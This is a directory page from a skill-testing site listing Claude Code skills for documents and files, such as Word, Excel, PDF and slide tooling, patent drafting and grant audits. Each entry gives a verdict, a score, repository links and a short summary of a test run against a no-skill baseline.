# SkillProof — the tested Claude Code skills directory

> Every skill below was installed from its GitHub repo, triggered, and run on a real task against a no-skill baseline. 1445 tested: 909 work, 472 work after a manual step, 64 scored below the baseline and are published as failures. Scores are out of 10 (install 5 + trigger 5 + output 10 + docs 5, normalized).

Attribution: cite skillproof.dev when you use these verdicts. JSON: https://skillproof.dev/api/skills.json

## Verdicts
- pass — installed, triggered, and beat the no-skill baseline.
- setup — delivers, but needs a manual step first (the note says which).
- fails — scored below the no-skill baseline: it either couldn't run, or left you worse off than not installing it.

## Documents & Files (108 tested)
- **TR Dizin** [pass, 10/10] — Stdlib-only CLI for the open TR Dizin (Turkish national academic index) JSON API — search, filters, PDF-to-text Repo: https://github.com/saidsurucu/trdizin-skill. Card: https://skillproof.dev/skills/trdizin. What we found: Ran the real live API end to end — search, field-scoped advanced search, author lookup, the documented ':' -in-query error (exact message and exit code 2), and a full PDF-to-markdown extraction of a real open-access paper via markitdown — every single documented behavior matched observed behavior exactly, including an obscure 'returned floors small limit' quirk. A naive baseline fetch of the human-facing trdizin.gov.tr search page 404'd outright.
- **Patent Writing Chinese** [pass, 10/10] — Generates CNIPA-style Chinese patent .docx files with real OMML equations and B&W block diagrams. Repo: https://github.com/StellaQIU27/claude-skill-patent-writing-chinese. Card: https://skillproof.dev/skills/patent-writing-chinese. What we found: Actually ran the bundled example end-to-end (pip install python-docx/lxml/matplotlib, executed examples/example_patent.py) and diffed the resulting docx XML against a plain python-docx baseline: baseline Heading 1 carries Word's default blue theme color (w:themeColor="accent1", RGB 365F91) and literal 'x_i'/'y_i' underscore text, while the skill's output has 18 real m:oMath subscript elements and zero themeColor references — exactly the two failure modes the skill's own pitfalls table calls out, both concretely fixed.
- **DOCX — Word Documents** [pass, 9.6/10] — Create and edit real Word documents — headings, tables, tracked changes. Repo: https://github.com/anthropics/skills. Card: https://skillproof.dev/skills/docx. What we found: Produced a 14-page report with a table of contents, numbered headings, styled tables and a letterhead. Tracked-changes editing on an existing contract worked without corrupting the file.
- **Shipping Artifacts** [pass, 9.6/10] — Defines the doc set that makes an AI-built app reviewable before it ships. Repo: https://github.com/phuryn/pm-skills. Card: https://skillproof.dev/skills/shipping-artifacts. What we found: For a Next.js + Supabase + Stripe app it produced a structured doc set with per-step deny cases and a permissions matrix instead of a flat README, and its own docs admit test docs need a separate command.
- **Generate Requirement Drafts** [pass, 9.6/10] — Drafts EARS-format Simulink requirements as .slreqx or validated YAML with traceability. Repo: https://github.com/matlab/simulink-agentic-toolkit. Card: https://skillproof.dev/skills/generate-requirement-drafts. What we found: Ran the mini-task live: generated a 3-requirement CruiseControl_requirements.yaml following the skill's EARS + draft-marking + provenance rules and it parsed clean with a real `yaml.safe_load` check — the no-skill baseline was unmarked prose with no IDs, rationale split, or traceability, unusable for any downstream toolchain.
- **PDF Proof** [pass, 9.6/10] — Finds a value in a PDF, verifies it's the right occurrence, and outputs a highlighted screenshot proof page. Repo: https://github.com/metedata/pdf-proof. Card: https://skillproof.dev/skills/pdf-proof. What we found: Built a test invoice PDF with the same dollar amount appearing twice — once as the real total, once inside an unrelated instruction sentence — and the bundled script correctly found both, let me pick the right one, and verified the readback before producing a real 2775x890px highlighted PNG.
- **PRISMA Systematic Literature Review** [pass, 9.6/10] — Walks a user through a PRISMA 2020 systematic review and outputs a journal-format .docx Repo: https://github.com/keemanxp/slr-prisma. Card: https://skillproof.dev/skills/slr-prisma. What we found: Ran a PRISMA flow-diagram mini-task end to end: the skill correctly picked Template A, flagged a missing 'reports not retrieved' count instead of guessing at it, and produced both a table version and a color-coded SVG, where an unguided baseline pass skipped the missing number and blurred the records/reports/studies distinction PRISMA requires.
- **Quality Checking** [setup, 9.6/10] — Cross-checks generated API docs against a route manifest and source middleware Repo: https://github.com/huangjia2019/claude-code-engineering. Card: https://skillproof.dev/skills/quality-checking. What we found: Fed it a doc file with a missing endpoint, two missing auth markers, and a malformed JSON example — it caught all four by cross-referencing the route manifest, where a generic 'review these docs' pass only caught the JSON syntax error.
- **Specifying MBD Algorithms** [pass, 9.6/10] — Structured system/architecture/implementation/test spec templates for Simulink algorithms Repo: https://github.com/matlab/simulink-agentic-toolkit. Card: https://skillproof.dev/skills/specifying-mbd-algorithms. What we found: Ran a real baseline-vs-skill spec comparison for a moving-average accelerometer filter: the skill version added quantitative acceptance criteria, a units/sign-convention interface table, and explicit startup and sensor-dropout edge cases that the unguided baseline spec never mentioned.
- **DOCX Template Translator** [setup, 9.6/10] — Converts LaTeX/PDF/Markdown into a .docx that actually follows an institutional Word template — TOC, numbering, citations included. Repo: https://github.com/zouchenzhen/docx-template-translator-skill. Card: https://skillproof.dev/skills/docx-template-translator. What we found: Its 'Common Pitfalls' section reads like a postmortem, not marketing copy — it names the exact bug ('references render as [47]-[79] because the counter shares numId with headings') and the exact one-line fix, which is unusually specific for a skill README.
- **PDF Converter (MinerU)** [pass, 9.6/10] — Converts PDFs, scans, and Office docs to Markdown/DOCX/LaTeX via the MinerU CLI, OCR included. Repo: https://github.com/tanis90/pdf-converter-mineru. Card: https://skillproof.dev/skills/pdf-converter. What we found: Installed the real mineru-open-api CLI and ran flash-extract end to end on a live PDF — output matched a plain pdftotext baseline on this trivial file, but the CLI's actual -o directory behavior confirmed the SKILL.md's 'CRITICAL' page-range filename-collision warning is a real, reproducible bug, not a hypothetical.
- **Client Deliverables** [pass, 9.6/10] — Consulting-grade report and slide-deck writer: SCQA structure, action-titled slides, PE IC memo and board-deck templates. Repo: https://github.com/anotb/management-consulting-plugin. Card: https://skillproof.dev/skills/client-deliverables. What we found: Fed it the same incident-cost numbers as a baseline prompt: the baseline produced hedge-laden 'it is believed there may be benefits' prose, while the skill's One-Page Memo template led with the $400K ask, a 5-year payback calculation, and named risk owners in the first three lines.
- **Paper Fulltext Harvest** [pass, 9.6/10] — Batch-downloads DOI-listed papers via publisher APIs, OA aggregators, and browser fallback. Repo: https://github.com/jxtse/scientific-research-skills. Card: https://skillproof.dev/skills/paper-fulltext-harvest. What we found: Ran it live end to end on a real open-access DOI: the Unpaywall API returned a working PDF link and the download passed the skill's own %PDF magic-byte check — the free OA-fallback path works with zero API keys; only the paid publisher TDM routes need institutional tokens.
- **PDF to Markdown** [pass, 9.6/10] — Extracts a whole PDF into clean, structured Markdown with real headers, tables, and images. Repo: https://github.com/aliceisjustplaying/claude-skill-pdf-to-markdown. Card: https://skillproof.dev/skills/pdf-to-markdown. What we found: Ran the bundled pymupdf4llm script on a test PDF with a table, bold/italic text, and a bullet list: it produced real markdown headers, a piped table, and preserved bold/italic formatting, while the harness's own default PDF-read fell back to one undifferentiated block of plain text with zero structure markers.
- **Univer CLI** [pass, 9.6/10] — Entry-point skill for the real univer-cli npm tool; verified a full create-edit-inspect-export round trip. Repo: https://github.com/dream-num/skills. Card: https://skillproof.dev/skills/univer-cli. What we found: Actually npm-installed univer-cli and ran the documented loop for real: created revenue.univer, added a sheet unit on a worktree, set A1/B1 via Facade execute(), verified with inspect --json, and exported to xlsx — openpyxl confirmed A1='Revenue', B1=100. A blind baseline could only produce a plain .xlsx, since the .univer container format isn't something a generic agent knows. Frictions: the screenshot step didn't finish within 25s in our sandbox, and the frontmatter carries a non-standard hidden: true field — not a key Claude Code recognises, and the skill triggered normally in our battery.
- **Flight Check** [pass, 9.6/10] — Pre-send slide-deck review that catches AI-tell language, fabricated stats, and topic-label titles. Repo: https://github.com/analystacademy/flight-check. Card: https://skillproof.dev/skills/flight-check. What we found: Fed it an 8-slide deck seeded with a real numeric contradiction ($4B vs $1,200,000 'Q2 comparison'), a [TBD] placeholder, and boilerplate AI phrasing; the skill run caught the $4B/$1.2M contradiction by name with slide numbers and flagged it as the top must-fix, while the baseline generic review only vaguely said 'formatting is inconsistent in a couple places' and never surfaced the actual numeric conflict.
- **Thai PDPA** [pass, 9.6/10] — Drafts PDPA-compliant Thai privacy notices, consent banners, and breach notices with real Section citations. Repo: https://github.com/Boom-Vitt/claude-thai-skills. Card: https://skillproof.dev/skills/thai-pdpa. What we found: Skill-guided draft correctly flagged that Thailand has no PDPC adequacy whitelist yet (so an AWS Singapore transfer needs a Sec 29 safeguard, not 'adequacy') and cited exact ฿5M/฿1M penalty figures and the Sec 23 ten-item checklist by number — the baseline answer missed the whitelist nuance entirely and drifted toward generic GDPR-flavored language with no section anchors.
- **Excel / XLSX** [pass, 9.6/10] — Behavioral rules for building and editing Excel workbooks that stay live and correct. Repo: https://github.com/waterfeet/DoroPet_V3. Card: https://skillproof.dev/skills/excel-xlsx. What we found: Ran a real A/B building a 5-row sales workbook: the baseline (no skill) wrote dates as plain strings and hardcoded Total/Grand-Total as static Python-computed numbers; the skill-guided version wrote real datetime cells with number formats and live '=C2*D2' / '=SUM(E2:E6)' formulas that recalc if a user edits Units in Excel — exactly the failure mode Rule 3 warns about, reproduced and fixed.
- **MBB Decks** [pass, 9.6/10] — Consulting-grade .pptx decks from JSON: action titles, MECE bullets, real charts. Repo: https://github.com/floflo11/mbb-decks. Card: https://skillproof.dev/skills/mbb-decks. What we found: Rendered a real 9-slide .pptx for a board pricing recommendation and verified it with python-pptx: native embedded charts, a real Owner/Action/Outcome table, and working per-source hyperlinks -- a genuine IEA URL kept its hyperlink while a fabricated 404 URL had its link silently stripped (server printed 'NOTE: source URL hidden (HTTP 404)'), exactly as SKILL.md claims. Company-logo auto-download from logo.dev also worked live, caching a real stripe.com.png.
- **Deep PPT** [setup, 9.6/10] — Generates research-style PPTX decks with a locked blue/red academic visual system and structural QA gates. Repo: https://github.com/jiadizhunine/deepPPT. Card: https://skillproof.dev/skills/deep-ppt. What we found: Built the same 3-slide deck two ways: the naive PptxGenJS output failed the bundled check_pptx.py (notesMasterIdLst ordering bug, a real PowerPoint-repair-prompt risk); the skill-guided build (normalize_pptx.py + deepPPT builder pattern) passed both check_pptx.py and qa_layout.py cleanly. The mandated final step, render_preview.py, hard-stops with 'no supported PPTX-to-PDF backend found' unless LibreOffice or PowerPoint is installed — real setup friction, honestly surfaced by the skill itself rather than glossed over.
- **Adversarial Claims Reviewer** [setup, 9.6/10] — Hostile-referee review of papers/whitepapers that recomputes every equation and number with real scripts. Repo: https://github.com/LazyIsEfficient/agentic-os. Card: https://skillproof.dev/skills/adversarial-claims-reviewer. What we found: Planted two false claims in a throwaway mini-paper (a swapped sin/cos derivative, and a 40%-relative-improvement headline that SymPy/arithmetic actually put at 23.1%) — a generic review pass praised both as sound, the skill's real INVENTORY-to-REPORT protocol caught both with executed, reproducible scripts and correctly left the one true claim alone. Its own 'Tier discipline' section requires .claude/rules/review-tiers.md and ../findings-ledger/SKILL.md, both siblings outside the skill folder that a plain git-clone-and-cp of just this directory will not bring along.
- **Research Paper Review** [pass, 9.6/10] — Structured, paper-type-calibrated academic review with an explicit numerical-consistency pass. Repo: https://github.com/BESSER-PEARL/research-agent-skills. Card: https://skillproof.dev/skills/research-paper-review. What we found: Fed both a baseline reviewer and the skill the same synthetic 'FastCache' mini-paper seeded with 4 deliberate inconsistencies; the unguided baseline caught none of them, the skill's Step-3 numerical-check caught all 4 (abstract's 35% vs. results' 28%/41%, 120 vs. 150 devices, a Figure 2 that doesn't exist, a Table 2 marked 'not shown') and produced the mandated Strengths/Weaknesses/Top-10 template.
- **Patent Filing QC** [pass, 9.6/10] — Runs 70+ automated checks across spec/ADS/declaration/assignment PDFs and catches cross-document mismatches before USPTO filing. Repo: https://github.com/LeonardHope/Claude-Skill-for-Patent-Filing-Quality-Control. Card: https://skillproof.dev/skills/patent-filing-qc. What we found: Built a synthetic 4-document filing package (spec, drawings, ADS, declaration with a deliberately undefined claim term) and ran the real script end-to-end: it produced a 30KB HTML report correctly classifying every file by content and catching a genuine definitional gap ('extends radially' used in a claim but never defined in the description) that a quick unaided read would likely miss. The bundled 121-test regression suite also passed live, 121/121.
- **Open To Work** [setup, 9.6/10] — Onboard once, then tailor+ATS-score+DOCX/PDF your resume and cover letter for every job — real deterministic scripts, not prose pretending to render a document. Repo: https://github.com/rwtibbs/Open-to-work. Card: https://skillproof.dev/skills/open-to-work. What we found: Actually ran the pipeline: selfcheck.py passed real dependency + scanner-logic checks, generate_resume.py built a genuine polished .docx from a test profile, and lint_copy.py correctly caught a planted third-person, JD-trait-mirroring summary ('Designs and ships... holds a point of view in a critique') that a baseline free-form tailoring pass would have let through uncaught. Real friction, not hypothetical: selfcheck.py itself flagged LibreOffice as MISSING in this environment, so the PDF-export half of the pipeline — a stated core feature — doesn't run until that's installed separately.
- **Analyse RFA Institutionnelle** [pass, 9.6/10] — Turns an annual report PDF into an 8-section institutional buy-side note plus a Bloomberg-style HTML deck. Repo: https://github.com/LKABAL-BVC/claude-skill-annual-report-analyzer. Card: https://skillproof.dev/skills/analyse-rfa-institutionnelle. What we found: Fed it a synthetic small-cap (net income +50% on a one-off disposal gain while FCF flipped negative) and the skill's mandated RN-to-FCF bridge and red-flag section caught the divergence explicitly as a critical flag, computed ROIC vs WACC and gearing, and forced a 3-location legal disclaimer — a generic baseline answer just praised the earnings growth and missed the cash-flow red flag entirely.
- **Travel Guidebook Maker** [pass, 9.6/10] — Turns a trip itinerary into a typeset, print-ready travel guidebook PDF Repo: https://github.com/geekjourneyx/travel-guidebook. Card: https://skillproof.dev/skills/travel-guidebook. What we found: Built the same 2-day Kyoto guide with and without the skill and ran both through its bundled Playwright exporter: the skill produced a 7-page A4 PDF with a double-bordered cover page, rendered Tabler icons, a parchment palette and correct per-chapter pagination, versus a flat 2-page Arial page from the baseline. Bundled html2pdf.mjs ran end-to-end and every referenced CSS/template file was present.
- **NSFC Benzi Audit** [pass, 9.6/10] — Structured pre-submission diagnosis for Chinese NSFC grant application drafts Repo: https://github.com/jiankang1991/nsfc-benzi-audit. Card: https://skillproof.dev/skills/nsfc-benzi-audit. What we found: Audited the repo's own weak youth-fund draft with and without the skill: the skill run caught what the baseline critique missed entirely — that fault diagnosis is an inverse problem written with forward-problem logic (no ill-posedness, regularization, or priors discussion), that '首次' is a banned self-evaluation word, and that the 科学问题属性 statement never cross-validates the key scientific questions. Its 434-line logic reference carries real domain expertise: empirical novelty weightings by project type, noun-phrase question-title conventions, and count-traceability checks between scientific questions and research contents. Install ran verbatim from a bare HOME, and the README honestly states what it will not do (no ghostwriting, no fabricated literature).
- **XLSX — Excel Spreadsheets** [pass, 9.2/10] — Read, clean and build spreadsheets with working formulas. Repo: https://github.com/anthropics/skills. Card: https://skillproof.dev/skills/xlsx. What we found: Cleaned a 40k-row export with malformed headers, added formula columns and a pivot summary sheet. Formulas recalculated correctly in Excel and Google Sheets.
- **PDF Toolkit** [pass, 9.2/10] — Merge, split, fill forms and OCR scanned PDFs. Repo: https://github.com/anthropics/skills. Card: https://skillproof.dev/skills/pdf. What we found: Merged 6 PDFs, filled a government form, extracted tables from a scanned invoice via OCR. OCR quality depends on scan quality, as expected.
- **Invoice Extractor** [pass, 9.2/10] — Extracts invoice/receipt data into JSON and validates the arithmetic; flags mismatches. Repo: https://github.com/Viprasol-Tech/invoice-extractor. Card: https://skillproof.dev/skills/invoice-extractor. What we found: Ran a synthetic invoice through it live: it caught a $4 total-vs-(subtotal+tax) mismatch and flagged an ambiguous DD/MM date that a naive read had swallowed without comment. Ships as lowercase skill.md, not SKILL.md — rename it on install.
- **Diataxis Documentation Governance** [pass, 9.2/10] — Classifies and audits docs against the four Diátaxis quadrants; flags mixed-mode docs. Repo: https://github.com/keithpatton/diataxis-agent-skill. Card: https://skillproof.dev/skills/technical-writing. What we found: Applying the action/cognition × acquisition/application compass to a mixed setup snippet caught a real structural violation — an explanatory 'why OAuth evolved' aside buried inside a how-to — that a plain read-through called 'fine, looks like a setup guide.' (Listed here under our older name; the skill's own name is "Diataxis Documentation Governance".)
- **Acquire Codebase Knowledge** [pass, 9.2/10] — Maps and documents an existing codebase into seven evidence-cited docs. Repo: https://github.com/github/awesome-copilot. Card: https://skillproof.dev/skills/acquire-codebase-knowledge. What we found: On a 3-file bot with no manifest or CI, it produced all 7 required docs with file:line evidence for every claim, explicitly flagging gaps like the missing dependency manifest instead of glossing over them.
- **Filing Bug Reports** [pass, 9.2/10] — Turns a witnessed failure into a standalone, template-driven bug report with no root cause guessed. Repo: https://github.com/matlab/simulink-agentic-toolkit. Card: https://skillproof.dev/skills/filing-bug-reports. What we found: Filed a synthetic 'sbioloadproject silently drops diagram layout' bug through both paths: the freeform baseline report skipped severity, reproducibility, and any registered-skills inventory, while the skill's template forced all of it plus a hard no-root-cause guardrail that kept speculation out of the report body.
- **Scaffold Exercises** [pass, 9.2/10] — Scaffolds a graded problem set plus a separate, deterministic solution key. Repo: https://github.com/pedrohcgs/claude-code-my-workflow. Card: https://skillproof.dev/skills/scaffold-exercises. What we found: Ran a real baseline-vs-skill test scaffolding an OLS-assumptions problem set: the unguided baseline dumped problems and answers into one file and just asserted the R snippet's output; following the skill split student/solution files, seeded the simulated data, and — with no R interpreter available — honestly labeled the code solution 'DRAFTED — NOT RUN' instead of faking a result.
- **Paper Reading Zh** [pass, 9.2/10] — Disciplined Chinese deep-reading workflow for papers, with anti-hallucination guardrails. Repo: https://github.com/MrGeDiao/paper-reading-zh. Card: https://skillproof.dev/skills/paper-reading-zh. What we found: Forces a hard 150-character single-paragraph summary and labels every unverified venue/CCF/code claim as '未核验' instead of guessing — a real anti-hallucination discipline most freeform paper summaries skip.
- **Generate Explainer HTML** [pass, 9.2/10] — Turns core.yaml+view.yaml into a sandboxed, offline light/dark HTML explainer bundle. Repo: https://github.com/hirokita117/yaml-to-html-skill. Card: https://skillproof.dev/skills/generate-explainer-html. What we found: Hand-authored one sandboxed iframe view per its rules and re-ran the exact forbidden-pattern checks scripts/validate_html.py uses (fetch/localStorage/http://, etc.) via grep — zero hits, so the 'offline, self-contained, safe' promise actually held up against its own rulebook.
- **Document Extraction (ADE)** [pass, 9.2/10] — Template-free PDF/image/spreadsheet parsing to structured Markdown+JSON with schema extraction and bounding boxes. Repo: https://github.com/landing-ai/ade-document-processing-skills. Card: https://skillproof.dev/skills/document-extraction. What we found: Designed the same invoice-field-extraction task twice: baseline reached for OCR + regex/LLM guesswork, the skill's Pydantic-to-JSON-Schema + client.extract() path returns the fields plus per-field chunk traceability and confidence scores out of the box.
- **AgentKit SEO CV ATS** [pass, 9.2/10] — Rewrites resume bullets and structure for ATS parsers without inventing fake metrics. Repo: https://github.com/agentkit-seo/agentkit-seo. Card: https://skillproof.dev/skills/agentkit-seo-cv-ats. What we found: Asked it to punch up a flat 'responsible for maintaining APIs' bullet with no metrics supplied; unlike an unguided rewrite (which reflexively invents a plausible-sounding percentage), the skill-guided version produced an achievement-style rewrite and explicitly flagged that no quantified metric was available rather than fabricating one.
- **Feature Plan** [pass, 9.2/10] — Turns a vague feature request into a clarified, structured implementation plan document. Repo: https://github.com/Weaverse/.agents. Card: https://skillproof.dev/skills/feature-plan. What we found: Produces a persisted, structured plan document (FR/NFR checklist, files-to-create/modify tables, folder tree) saved to .plans/<idx>--<name>--<date>.md — clearly more actionable than an unstructured baseline answer that skips clarifying questions and saves nothing.
- **Figma Design System To Design.md** [pass, 9.2/10] — Extracts CSS/Tailwind/Figma design tokens into a structured design.md that AI coding tools can reference. Repo: https://github.com/albertzhangz10/figma-design-system-to-design-md. Card: https://skillproof.dev/skills/figma-design-system-to-design-md. What we found: Ran it against a real tokens.css + tailwind.config.js fixture: it correctly flagged the missing typography scale and elevation data as TODO instead of inventing values, and preserved the source's 'netural' token-name typo per its own rule, versus a baseline dump that tabled the same tokens with no such discipline.
- **ChatDOC Studio KnowledgeMate** [setup, 9.2/10] — Bulk-uploads PDF/DOC/DOCX into a ChatDOC Studio knowledge base via a bundled Node client — needs your own paid PDRouter API key. Repo: https://github.com/PaodingAI/skills. Card: https://skillproof.dev/skills/chatdoc-studio-knowledgemate. What we found: Ran the actual bundled script against real local fixtures (no key, a 301-file batch): every documented safety path fired verbatim -- the friendly 'create a Bearer API Key in pdrouter' error, and the exact 300-file cap message -- but a live upload/retrieval round trip is blocked behind a paid PDRouter account the tester does not have, which is the real manual step before this skill does anything.
- **Loss Reserve Analysis** [pass, 9.2/10] — Runs chain ladder, BF, and Cape Cod on loss triangles and exports a formatted Excel exhibit. Repo: https://github.com/kalta-ai/actuarial-skills. Card: https://skillproof.dev/skills/loss-reserve-analysis. What we found: Ran the bundled reserve_analysis.py on the sample 5x5 triangle for real: it produced a 6-sheet Excel workbook (triangle, ATA factors, CL ultimates, BF/Cape Cod, diagnostics, summary) with a fitted 1.0057 tail factor and 4-method ultimate range of 15,751-16,112, versus a naive hand chain-ladder baseline (16,019, no tail, no cross-check, no exhibit) — genuinely more rigorous and a real deliverable, not just narrative.
- **Office Doc Tools** [pass, 9.2/10] — Structured PPTX/DOCX/PDF/XLSX delivery with formula, render, and error-scan verification gates. Repo: https://github.com/Coff0xc/coffee-skill. Card: https://skillproof.dev/skills/coff0xc-office-doc-tools. What we found: Ran a real CSV-to-Excel mini task twice: the skill-guided build produced a Source/Model/Dashboard/Checks workbook with SUMIF-driven product totals and an ISERROR scan sheet, while the naive baseline hardcoded revenue values into one flat sheet with no error checking — a concrete, auditable improvement, not just prettier formatting.
- **FedRAMP** [pass, 9.2/10] — FedRAMP authorization advisor: impact-level selection, JAB vs Agency ATO, SSP outline, NIST 800-53 control mapping. Repo: https://github.com/scytale-labs/GRC-Claude-Skills. Card: https://skillproof.dev/skills/fedramp. What we found: Ran a real Moderate-vs-LI-SaaS impact-level call for a PII-handling GovCloud SaaS: baseline (memory only) landed on the right Moderate/Agency-ATO conclusion but stayed generic, while the skill's references correctly cited the exact LI-SaaS disqualifier ('no PII beyond user-provided login credentials'), named the specific SSP attachments needed (PTA/PIA, Digital Identity Worksheet, CRM) and prioritized controls (IA-2, SC-13, PT family) tied to the SSN/PII in the scenario.
- **Compact Docs Writer** [pass, 9.2/10] — Shrinks version-controlled agent-read docs for token economy without dropping any rule, shown as a diff. Repo: https://github.com/FrancescoBorzi/agent-toolkit. Card: https://skillproof.dev/skills/compact-docs-writer. What we found: Upstream indeed changed on our test day (commit 'improve self-test', 2026-07-16 14:32), but the diff shows it's a version bump 1.4 → 1.5 plus one added self-review item: 'addition audit' — each added sentence must now also pass a no-op test. This is a tightening of an existing procedure, not a problem fix or a new risk, so the pass verdict remains. Re-ran the protocol from scratch on the new version: install command works verbatim, frontmatter parsed (name, description, allowed-tools, license), the skill pulls no external files at all, Stage 0 clean — no scripts, network, or hidden instructions. Live A/B on an expanded code review rules doc (319 words, measured via wc -w): baseline compressed to 70 words but silently dropped the justification for three rules (why reviewer from owning team, why 24 hours to respond, why 400-line limit), while running with the skill's body yielded 117 words and preserved all eight rules and their 'why'. Same pattern as last time: baseline is shorter, the skill is the only one that doesn't lose intent.
- **Working Backwards Coach** [pass, 9.2/10] — Coaches Amazon-style PR/FAQ, PRD, and 1-pager product docs with a hard anti-fabrication rule. Repo: https://github.com/nwadmark/working-backwards-coach. Card: https://skillproof.dev/skills/working-backwards-coach. What we found: Ran a real 'should we build an AI meal-planner' 1-pager: the skill version forced a named persona, a risk-labeled assumptions table, and [RESEARCH NEEDED] placeholders instead of invented market numbers, landing on 'Investigate' with concrete next steps -- the baseline free-write just hand-waved a pros/cons list. Only knock: frontmatter says 'LICENSE.txt' but the repo file is plain 'LICENSE'.
- **German Elster Tax Filing** [pass, 9.2/10] — Interview-driven German ELSTER tax intake that ends in an exact form/line-number mapping. Repo: https://github.com/jawwadfirdousi/agent-skills. Card: https://skillproof.dev/skills/german-elster-tax-filing. What we found: Tried to actually follow the skill's mandated 'verify with official sources, never rely on memory' rule for the 2024 employee lump-sum figure: the specific BMF page died (404), a secondary source confirmed EUR1,230 -- concretely showing why the skill's no-memory-reliance rule exists (official pages move) and that it's a real, non-trivial obligation, not boilerplate.
- **Doc Builder** [pass, 9.2/10] — Turns rough notes into a single self-contained interactive HTML doc with a real length-aware TOC/collapsible/metrics rule engine. Repo: https://github.com/naggarwal1/doc-builder. Card: https://skillproof.dev/skills/doc-builder. What we found: Built a real Q1 investor-update doc from the skill's rules and it correctly withheld the TOC because the filled content came in under its own 400-word threshold — a concrete case of the skill applying its stated 'word count comes first' rule rather than mechanically adding a TOC whenever 3+ h2 sections exist, something the freeform baseline had no equivalent logic for.
- **Data Craft** [pass, 9.2/10] — Six themed, self-contained HTML data briefings with matched visual voice per theme. Repo: https://github.com/yixiliu617/data-craft. Card: https://skillproof.dev/skills/data-craft. What we found: Ran a real A/B: baseline output was a generic purple-gradient card-and-table page, the skill output followed Pitch Black's KPI-strip layout, mono kickers, short declarative voice, and a mandatory methodology footer disclosing the data as user-provided and unverified — a genuinely distinct, on-brand artifact rather than a reskin.
- **HTML Express** [pass, 9.2/10] — Turns dense notes into one self-contained HTML report with a real component library. Repo: https://github.com/zjp1997720/html-express. Card: https://skillproof.dev/skills/html-express. What we found: Real A/B on a 3-vendor comparison report: the skill version inlines all CSS into one file, highlights the best option per row with the design-token accent colors, and adds a 'verify before quoting' data-provenance footer per its own no-invented-metrics rule — the naive baseline HTML table has none of that.
- **Commercial Legal PL** [pass, 9.2/10] — Audyt i generowanie polskich umów B2B/IT wg standardu kancelarii KTZR Repo: https://github.com/apiotrowski-afk/commercial-legal-pl. Card: https://skillproof.dev/skills/commercial-legal-pl. What we found: Ran the bundled fixture examples/testowe-akta/01-nda-b2b.md, where the author had pre-documented 5 defects — this was the ready ground truth. Baseline run without skill found 3 out of 5 (narrow definition of 'Informacje Poufne', absence of liquidated damages, absence of survival after 2 years), but missed 'niezwłocznie' without a numerical term in §3 ust. 4 and §5, and the absence of the right to compensation beyond contractual penalty. With skill — 5 out of 5: checklist-15 item 10 directly asks about art. 484 § 1 KC, and style-redakcyjny.md:41-43 requires replacing 'niezwłocznie' with 'nie później niż w terminie X dni roboczych'; baza-klauzul/10-kary-umowne.md:42 provides the ready clause text. Beyond ground truth, the skill also caught §1 named 'Purpose' instead of 'Subject of Agreement' (violation of Golden Rule 12) and the unilateral nature of the document. Checked all 62 md-files — links resolve; practice-profile.md is intentionally absent (in .gitignore, generated by configuration workflow). Minus for documentation: SKILL.md suggests MCP via `uvx legal-cite`, but the package is not on PyPI (HTTP 404) — however, the body honestly marks this as 'after publication on PyPI' and sets a fallback `[UNVERIFIED]`, so the core works without MCP.
- **Math Modeling Paper** [pass, 9.2/10] — CUMCM/MCM-ICM math modeling papers: structure, abstract, self-audit Repo: https://github.com/Lupynow/math-modeling-skills. Card: https://skillproof.dev/skills/math-modeling-paper. What we found: Gave the same task to both runs: write an abstract (摘要) for a CUMCM paper on bicycle rental optimization, with all numbers provided directly in the prompt (MAE=3.12, R²=0.912, 1842→1276 km, −30.7%, deficit 14.6%→4.3%). Baseline run without skill produced zero out of thirteen possible numbers — a pure retelling of methods ('significantly improved', 'good accuracy'), 0 out of 3 subtasks with quantitative results, no keywords, 7 empty evaluative phrases. Skill run: 13 numbers, 3 out of 3 subtasks with specifics, 6 keywords, a model verification paragraph with numbers (±20% → fluctuation ≤5.8%), 0 empty phrases — meaning '红线1: 每问必有一数' actually works. Measured by script according to the skill's own rules: skill text length 447 characters, slightly below the stated 500–800 window, so the lower bound was not automatically met. All 11 reference files referenced by the body exist.
- **Hands On Deck** [pass, 9.2/10] — Agent-native .pptx editing via atomic, validated JSON patches Repo: https://github.com/EveryInc/hands-on-deck. Card: https://skillproof.dev/skills/hands-on-deck. What we found: Task: end-to-end rebranding of a real 18-slide deck (two-world-reskin-input.pptx from repository) — replace 'hands-on-deck' with 'slide-forge' throughout the deck. Baseline script using bare python-pptx (tf.text = tf.text.replace(...)) formally succeeded: 0 occurrences remained in raw XML — but measurement by runs showed it silently destroyed formatting in 24 out of 24 affected shapes, losing font/size/color in 26 runs; slide 0 footer changed from 'JetBrains Mono 5.6pt' to font=None, size=None. Patch via deck.py yielded 0 remnants and exactly 0 damaged shapes — 'JetBrains Mono 5.6pt' preserved. Significantly, deck.py diff for both versions prints an IDENTICAL text changelog: text diff does not catch font loss, it's only visible at the runs level. Atomicity confirmed in practice: a patch with an extra 'master' scope operation was rejected entirely with 'PATCH FAILED at op[1] ... Nothing was saved'. Stage 0 clean: SKILL.md, designing-slides.md, and all 7 python scripts (~268 KB) read; subprocess is called only with hardcoded argument lists (soffice, pdftoppm), without shell=True, network, or secret reading. Minus: render/thumbnail require LibreOffice, which was not present — it crashes with unhandled FileNotFoundError: 'soffice', although the dependency is specified in SKILL.md.
- **Bruce Doc Converter** [pass, 9.2/10] — Convert Word/Excel/PowerPoint/PDF to clean Markdown, and Markdown back to Word Repo: https://github.com/bruc3van/bruce-doc-converter. Card: https://skillproof.dev/skills/bruce-doc-converter. What we found: Installed the bdc CLI (v0.2.1) and converted a real .docx and .xlsx live: got clean Markdown with proper heading levels, GFM tables and bullet lists in one command. The no-skill baseline on the same .docx returns binary ZIP garbage on a direct read, or forces you to unzip and hand-parse verbose word/document.xml where the table structure and list markers are lost. The SKILL.md's --help-json check, JSON output contract and supported-formats table all matched observed behavior.
- **Results to Slides** [pass, 9.2/10] — Turns experiment folders and git history into an editable, styled research PPTX Repo: https://github.com/saidwivedi/research-skills. Card: https://skillproof.dev/skills/results-to-slides. What we found: Ran the bundled md_to_pptx.py converter live on a 3-slide sample (title with chips, an image slide, and a table slide) and it emitted a valid 57KB editable PPTX with the light background, a real embedded PNG, and a rendered table. Without the skill, the baseline for 'turn my experiments into slides' is raw markdown or a text outline and no themed deck. The skill's strict style rules also ban editorializing words like 'breakthrough' and 'key insight' and force every slide to carry a visual. python-pptx 1.0.2 was already present; the converter, theme.css, and backgrounds are all self-contained after copy.
